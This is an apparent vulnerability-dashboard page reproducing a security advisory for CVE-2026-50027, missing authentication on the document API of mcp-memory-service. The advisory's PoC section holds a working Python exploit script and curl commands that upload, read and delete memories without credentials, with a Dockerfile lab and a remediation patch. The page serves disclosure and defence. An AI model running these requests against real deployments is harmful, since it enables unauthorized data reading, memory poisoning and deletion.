Kestrel
대시보드로 돌아가기
CVE-2026-50027CRITICAL· 9.8GHSA대응게시일: 2026. 07. 02.수정일: 2026. 07. 02.

mcp-memory-service: Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.8critical

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한3일 이내CISA SSVC 기준

즉시(3일 이내) 패치 — 최우선 대응

자동화 가능완전 장악외부 노출· KEV 미등재 · 자동화 가능 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.19.8CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

상세 설명

Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete

Summary

All HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.

Details

The documents.py router is instantiated without any router-level dependencies= parameter and the file does not import Depends at all, so no authentication guard is present on any of its routes:

  • src/mcp_memory_service/web/api/documents.py:33from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks (Depends is absent)
  • src/mcp_memory_service/web/api/documents.py:43router = APIRouter() (no dependencies= argument)

The affected endpoints and their data-flow sinks are:

RouteLine (source)SinkLine (sink)
POST /upload149storage.store(memory)449
POST /batch-uploadstorage.store(memory)
GET /historyupload metadata response
GET /search-content/{upload_id}729memory content response781
DELETE /remove/{upload_id}storage deletion
DELETE /remove-by-tags687storage.delete_by_tags(tags)705

The router is mounted in src/mcp_memory_service/web/app.py:311:

text
1app.include_router(documents_router, prefix="/api/documents")

No CORSMiddleware or authentication middleware applies to these routes at mount time.

By contrast, the equivalent write endpoint in memories.py is correctly protected:

bash
1# src/mcp_memory_service/web/api/memories.py:136
2user: AuthenticationResult = Depends(require_write_access)

This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all documents.py routes.

PoC

Prerequisites

  • Docker installed
  • Repository cloned at repo

Build and run the container

text
1docker build -t vuln-001-mcp-memory-poc \
2 -f vuln-001/Dockerfile \
3 repo
4
5docker run -d --name vuln-001-poc-container \
6 -p 18000:8000 vuln-001-mcp-memory-poc:latest

The container starts mcp-memory-service with MCP_API_KEY=poc-secret-key-12345, simulating a production deployment where the operator has enabled API-key authentication.

Execute the PoC

text
1python3 vuln-001/poc.py \
2 --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345

Attack chain (6 steps)

text
1[STEP 1] GET /api/memories (no auth) → HTTP 401 ← auth guard is active on memories API
2[STEP 2] POST /api/memories (with API key) → HTTP 200 ← legitimate user stores sensitive data
3[STEP 3] GET /api/memories (with API key) → HTTP 200 memories_found=1 ← data confirmed
4[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200 upload_id=<uuid> ← WRITE bypass
5[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200 memories_deleted=1DELETE bypass
6[STEP 6] GET /api/memories (with API key) → HTTP 200 memories_remaining=0 ← integrity impact confirmed

Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.

Manual curl equivalent

bash
1# Confirm auth guard is active on /api/memories
2curl -i http://127.0.0.1:18000/api/memories
3# → 401 Unauthorized
4
5# Write through document API — no credentials
6printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt
7UPLOAD_ID=$(
8 curl -s -X POST http://127.0.0.1:18000/api/documents/upload \
9 -F "file=@/tmp/poc.txt" -F "tags=cve-poc" |
10 python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])'
11)
12# → 200 OK
13
14sleep 3
15curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID"
16# → content returned without authentication
17
18# Delete by tag — no credentials
19curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \
20 -H "Content-Type: application/json" -d '["cve-poc"]'
21# → 200 OK, memories_deleted=1

Observed output

  • GET /api/memories (no auth) returns 401 — the authentication guard is demonstrably active on the memories API.
  • POST /api/documents/upload (no auth) returns 200 with a valid upload_id.
  • DELETE /api/documents/remove-by-tags (no auth) returns 200 with memories_deleted=1.
  • A subsequent authenticated GET /api/memories returns memories_remaining=0, confirming that legitimately stored data was destroyed by an unauthenticated request.

Remediation

Add Depends(require_write_access) / Depends(require_read_access) to every affected route in documents.py:

text
1--- a/src/mcp_memory_service/web/api/documents.py
2+++ b/src/mcp_memory_service/web/api/documents.py
3-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks
4+from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends
5 from ..dependencies import get_storage
6+from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult
7
8 async def upload_document(
9 background_tasks: BackgroundTasks,
10 file: UploadFile = File(...),
11+ user: AuthenticationResult = Depends(require_write_access),
12
13 async def batch_upload_documents(
14 background_tasks: BackgroundTasks,
15 files: List[UploadFile] = File(...),
16+ user: AuthenticationResult = Depends(require_write_access),
17
18-async def get_upload_status(upload_id: str):
19+async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)):
20
21-async def get_upload_history():
22+async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)):
23
24-async def remove_document(upload_id: str, remove_from_memory: bool = True):
25+async def remove_document(upload_id: str, remove_from_memory: bool = True,
26+ user: AuthenticationResult = Depends(require_write_access)):
27
28-async def remove_documents_by_tags(tags: List[str]):
29+async def remove_documents_by_tags(tags: List[str],
30+ user: AuthenticationResult = Depends(require_write_access)):
31
32-async def search_document_content(upload_id: str, limit: int = 1000):
33+async def search_document_content(upload_id: str, limit: int = 1000,
34+ user: AuthenticationResult = Depends(require_read_access)):

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability affecting the HTTP REST server component of mcp-memory-service.

Who is impacted: Any operator who deploys the HTTP REST server (memory server --http) with MCP_API_KEY or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments.

Confidentiality: An unauthenticated attacker can read recently uploaded document content via GET /api/documents/search-content/{upload_id} and enumerate upload history via GET /api/documents/history. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data.

Integrity: An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent's knowledge base with attacker-controlled data (memory poisoning / prompt injection surface).

Availability: An unauthenticated attacker can delete all memories matching any chosen tags via DELETE /api/documents/remove-by-tags, or delete individual documents via DELETE /api/documents/remove/{upload_id}, causing permanent loss of stored data.

Reproduction artifacts

Dockerfile
sql
1FROM python:3.12-slim
2
3ENV PYTHONDONTWRITEBYTECODE=1
4ENV PYTHONUNBUFFERED=1
5ENV HF_HOME=/root/.cache/huggingface
6
7WORKDIR /app
8
9RUN apt-get update && apt-get install -y --no-install-recommends \
10 build-essential \
11 && rm -rf /var/lib/apt/lists/*
12
13# Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI
14RUN pip install --no-cache-dir \
15 "torch>=2.0.0" \
16 --index-url https://download.pytorch.org/whl/cpu
17
18# Copy and install the mcp-memory-service from the local repo
19COPY . /app
20RUN pip install --no-cache-dir -e .
21
22# Pre-download the sentence-transformers embedding model so the container
23# can run fully offline and starts quickly
24RUN python -c "from sentence_transformers import SentenceTransformer; m = SentenceTransformer('all-MiniLM-L6-v2'); v = m.encode(['preflight']); print('Embedding model ready, dim=' + str(len(v[0])))"
25
26# ── Runtime config ──────────────────────────────────────────────────────────
27# MCP_API_KEY is set to simulate a production deployment where the operator
28# has enabled API-key authentication. The bug is that /api/documents/* routes
29# ignore this key entirely.
30ENV MCP_API_KEY=poc-secret-key-12345
31ENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec
32ENV MCP_HTTP_PORT=8000
33ENV MCP_HTTP_HOST=0.0.0.0
34ENV MCP_MDNS_ENABLED=false
35ENV MCP_CONSOLIDATION_ENABLED=false
36ENV MCP_BACKUP_ENABLED=false
37ENV MCP_QUALITY_SYSTEM_ENABLED=false
38# Prevent any outbound HuggingFace requests at runtime
39ENV TRANSFORMERS_OFFLINE=1
40ENV HF_DATASETS_OFFLINE=1
41
42EXPOSE 8000
43
44CMD ["python", "run_server.py"]
poc.py
python
1#!/usr/bin/env python3
2"""
3PoC – VULN-001: Missing Authentication on Document API Endpoints
4CWE-306 Missing Authentication for Critical Function
5CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
6
7Attack chain:
8 1. GET /api/memories (no auth) → 401 (auth guard confirmed active)
9 2. POST /api/memories (with API key) → 200 (legitimate write)
10 3. GET /api/memories (with API key) → 200 (data exists)
11 4. POST /api/documents/upload (NO auth!) → 200 (write bypass)
12 5. DELETE /api/documents/remove-by-tags (NO auth!) → 200 (delete bypass)
13 6. GET /api/memories (with API key) → memory is GONE
14
15Step 6 proves an unauthenticated attacker destroyed data created by a
16legitimate, authenticated user — confirming full integrity impact.
17
18Usage:
19 python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345]
20"""
21
22import sys
23import time
24import json
25import uuid
26import argparse
27import http.client
28
29MARKER = "VULN001_AUTH_BYPASS_" + uuid.uuid4().hex[:12].upper()
30TARGET_TAG = f"vuln001-target-{uuid.uuid4().hex[:6]}"
31
32
33# ─── low-level helpers ───────────────────────────────────────────────────────
34
35def http_req(host, port, method, path, body=None, headers=None, timeout=20):
36 conn = http.client.HTTPConnection(host, port, timeout=timeout)
37 h = dict(headers or {})
38 conn.request(method, path, body=body, headers=h)
39 resp = conn.getresponse()
40 return resp.status, resp.read().decode("utf-8", errors="replace")
41
42
43def wait_ready(host, port, timeout=120):
44 print(f"[*] Waiting for server at {host}:{port} …", flush=True)
45 deadline = time.time() + timeout
46 while time.time() < deadline:
47 try:
48 s, _ = http_req(host, port, "GET", "/api/health", timeout=2)
49 if s == 200:
50 print("[+] Server ready\n", flush=True)
51 return True
52 except Exception:
53 pass
54 time.sleep(1)
55 return False
56
57
58def build_multipart(boundary, filename, file_bytes, tags_str):
59 b = boundary.encode()
60 return b"".join([
61 b"--" + b + b"\r\n",
62 b'Content-Disposition: form-data; name="file"; filename="' + filename.encode() + b'"\r\n',
63 b"Content-Type: /plain\r\n\r\n",
64 file_bytes,
65 b"\r\n--" + b + b"\r\n",
66 b'Content-Disposition: form-data; name="tags"\r\n\r\n',
67 tags_str.encode(),
68 b"\r\n--" + b + b"--\r\n",
69 ])
70
71
72# ─── individual test steps ───────────────────────────────────────────────────
73
74def step_memories_no_auth(host, port):
75 """GET /api/memories without auth must return 401."""
76 print("[STEP 1] GET /api/memories (no auth — expect 401)", flush=True)
77 status, body = http_req(host, port, "GET", "/api/memories")
78 ok = (status == 401)
79 print(f" {'PASS' if ok else 'FAIL'} HTTP {status}", flush=True)
80 return ok, status
81
82
83def step_store_memory_with_auth(host, port, api_key):
84 """POST /api/memories with API key — store a 'legitimate' memory."""
85 print(f"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})", flush=True)
86 payload = json.dumps({
87 "content": f"Sensitive memory — {MARKER}",
88 "tags": [TARGET_TAG, "vuln001-demo"],
89 "memory_type": "observation",
90 "metadata": {"poc": "VULN-001"}
91 }).encode()
92 headers = {
93 "Content-Type": "application/json",
94 "Content-Length": str(len(payload)),
95 "X-API-Key": api_key,
96 }
97 status, body = http_req(host, port, "POST", "/api/memories", payload, headers)
98 ok = status in (200, 201)
99 content_hash = None
100 try:
101 content_hash = json.loads(body).get("content_hash")
102 except Exception:
103 pass
104 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} hash={content_hash}", flush=True)
105 if not ok:
106 print(f" body: {body[:300]}", flush=True)
107 return ok, status, content_hash
108
109
110def step_verify_memory_exists(host, port, api_key):
111 """GET /api/memories with auth — confirm the memory is stored."""
112 print("[STEP 3] GET /api/memories (with API key — confirm data exists)", flush=True)
113 headers = {"X-API-Key": api_key}
114 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
115 ok = status == 200
116 count = 0
117 try:
118 data = json.loads(body)
119 count = data.get("total", len(data.get("memories", [])))
120 except Exception:
121 pass
122 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_found={count}", flush=True)
123 return ok, status, count
124
125
126def step_upload_no_auth(host, port):
127 """POST /api/documents/upload without any credentials — should return 200."""
128 print("[STEP 4] POST /api/documents/upload (NO auth — expect 200)", flush=True)
129 boundary = "PocBoundary" + uuid.uuid4().hex
130 payload = f"EVIDENCE: {MARKER}\nUploaded without authentication — VULN-001.\n".encode()
131 body = build_multipart(boundary, "poc_vuln001.txt", payload, "poc-evidence,vuln001-demo")
132 headers = {
133 "Content-Type": f"multipart/form-data; boundary={boundary}",
134 "Content-Length": str(len(body)),
135 }
136 status, resp = http_req(host, port, "POST", "/api/documents/upload", body, headers)
137 upload_id = None
138 try:
139 upload_id = json.loads(resp).get("upload_id")
140 except Exception:
141 pass
142 ok = status == 200 and upload_id is not None
143 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} upload_id={upload_id}", flush=True)
144 if not ok:
145 print(f" body: {resp[:300]}", flush=True)
146 return ok, status, upload_id
147
148
149def step_delete_no_auth(host, port):
150 """DELETE /api/documents/remove-by-tags without auth — should return 200."""
151 print(f"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})", flush=True)
152 # FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array)
153 body = json.dumps([TARGET_TAG, "vuln001-demo"]).encode()
154 headers = {
155 "Content-Type": "application/json",
156 "Content-Length": str(len(body)),
157 }
158 status, resp = http_req(
159 host, port, "DELETE", "/api/documents/remove-by-tags",
160 body=body, headers=headers
161 )
162 ok = status == 200
163 deleted = 0
164 try:
165 deleted = json.loads(resp).get("memories_deleted", 0)
166 except Exception:
167 pass
168 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_deleted={deleted}", flush=True)
169 if not ok:
170 print(f" body: {resp[:300]}", flush=True)
171 return ok, status, deleted
172
173
174def step_verify_memory_gone(host, port, api_key):
175 """GET /api/memories with auth — confirm attacker wiped the data."""
176 print("[STEP 6] GET /api/memories (with API key — verify data was deleted)", flush=True)
177 headers = {"X-API-Key": api_key}
178 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
179 ok = status == 200
180 count = 0
181 try:
182 data = json.loads(body)
183 count = data.get("total", len(data.get("memories", [])))
184 except Exception:
185 pass
186 data_deleted = (ok and count == 0)
187 print(f" {'PASS' if data_deleted else 'NOTE'} HTTP {status} memories_remaining={count}", flush=True)
188 if data_deleted:
189 print(" [+] Memory wiped by unauthenticated attacker — integrity impact confirmed!", flush=True)
190 return ok, status, count
191
192
193# ─── main ────────────────────────────────────────────────────────────────────
194
195def main():
196 ap = argparse.ArgumentParser(description="VULN-001 PoC — CWE-306 auth bypass")
197 ap.add_argument("--host", default="127.0.0.1")
198 ap.add_argument("--port", type=int, default=8000)
199 ap.add_argument("--api-key", default="poc-secret-key-12345",
200 help="API key configured on the server (simulates legitimate user)")
201 args = ap.parse_args()
202
203 print("=" * 65)
204 print("VULN-001 Missing Authentication on Document API Endpoints")
205 print("CWE-306 / CVSS 9.8 (Critical)")
206 print("=" * 65 + "\n")
207
208 if not wait_ready(args.host, args.port):
209 print("[-] Server did not become ready", flush=True)
210 sys.exit(2)
211
212 r = {}
213
214 # Step 1 — baseline: auth IS enforced on /api/memories
215 ok1, s1 = step_memories_no_auth(args.host, args.port)
216 r["step1_auth_guard_active"] = {
217 "pass": ok1,
218 "evidence": f"GET /api/memories (no auth) → HTTP {s1}"
219 }
220
221 # Step 2 — legitimate user stores a sensitive memory
222 ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key)
223 r["step2_legitimate_write"] = {
224 "pass": ok2,
225 "evidence": f"POST /api/memories (with API key) → HTTP {s2}"
226 }
227
228 # Step 3 — confirm memory exists
229 ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key)
230 r["step3_data_present"] = {
231 "pass": ok3 and mem_count > 0,
232 "evidence": f"GET /api/memories (with API key) → HTTP {s3}, count={mem_count}"
233 }
234
235 # Step 4 — attacker uploads without auth (WRITE bypass)
236 ok4, s4, upload_id = step_upload_no_auth(args.host, args.port)
237 r["step4_upload_auth_bypass"] = {
238 "pass": ok4,
239 "evidence": f"POST /api/documents/upload (NO auth) → HTTP {s4}"
240 }
241
242 # Step 5 — attacker deletes WITHOUT auth (DELETE bypass)
243 ok5, s5, deleted = step_delete_no_auth(args.host, args.port)
244 r["step5_delete_auth_bypass"] = {
245 "pass": ok5,
246 "evidence": f"DELETE /api/documents/remove-by-tags (NO auth) → HTTP {s5}, deleted={deleted}"
247 }
248
249 # Step 6 — verify legitimate data is gone
250 ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key)
251 r["step6_integrity_impact"] = {
252 "pass": ok6 and remaining == 0,
253 "evidence": f"GET /api/memories (with API key) after attack → count={remaining} (was {mem_count})"
254 }
255
256 print("\n" + "=" * 65)
257 print("RESULTS SUMMARY")
258 print("=" * 65)
259 for k, v in r.items():
260 sym = "PASS" if v["pass"] else "FAIL"
261 print(f" [{sym}] {v['evidence']}", flush=True)
262
263 # Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth
264 bypass_proven = ok1 and ok4
265 delete_bypass = ok1 and ok5
266
267 print("\nKey evidence:")
268 print(f" Auth guard ACTIVE : GET /api/memories (no auth) → HTTP {s1}")
269 print(f" Write BYPASS : POST /api/documents/upload (no auth) → HTTP {s4}")
270 print(f" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) → HTTP {s5}")
271
272 overall = "PASS – auth bypass confirmed" if (bypass_proven or delete_bypass) else "FAIL"
273 print(f"\nVerdict: {overall}")
274 print("=" * 65)
275 sys.exit(0 if (bypass_proven or delete_bypass) else 1)
276
277
278if __name__ == "__main__":
279 main()

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.